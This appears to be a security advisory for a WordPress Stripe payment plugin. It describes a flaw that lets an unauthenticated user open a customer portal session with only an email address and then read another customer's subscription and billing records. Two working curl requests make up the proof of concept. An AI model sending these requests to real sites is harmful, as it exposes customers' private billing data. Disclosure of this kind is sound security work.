Stripe Payment Forms by WP Full Pay < 8.5.1 – Unauthenticated Customer Portal Subscription and Billing Data Disclosure via Unconfirmed Session | CVE 2026-77758

Description

The plugin does not properly verify that a customer portal session has completed its confirmation step before returning data, allowing unauthenticated users to read another customer's subscription and billing information.

Proof of Concept

The customer portal issues a session from an email address alone and only later confirms it with an emailed security code. The subscription read does not wait for that confirmation.

Prerequisites: the plugin connected to Stripe with at least one existing customer. The attacker needs the victim's email address and no account of any kind.

1. Create a portal session for the victim's email. No confirmation code is supplied:

curl -s -c cookies.txt -X POST 'https://example.com/wp-admin/admin-ajax.php' -d 'action=wp_full_stripe_create_card_update_session' -d 'emailAddress=victim@example.com'

2. Read the victim's subscriptions with the unconfirmed session cookie:

curl -s -b cookies.txt 'https://example.com/wp-json/wp-full-stripe/v1/manage-subscriptions/subscription'

Expected on an affected version: the victim's subscription and billing records are returned, including subscription identifiers, status, plan and product names, quantities, price labels and period dates.

Control: the same request with no cookie, or with a cookie that does not resolve to a session, returns an empty list, so the session is what carries the read.

On a fixed version the second request returns HTTP 401 with wpfs_customer_portal_not_authenticated, while a session that has completed the emailed security-code step still returns data.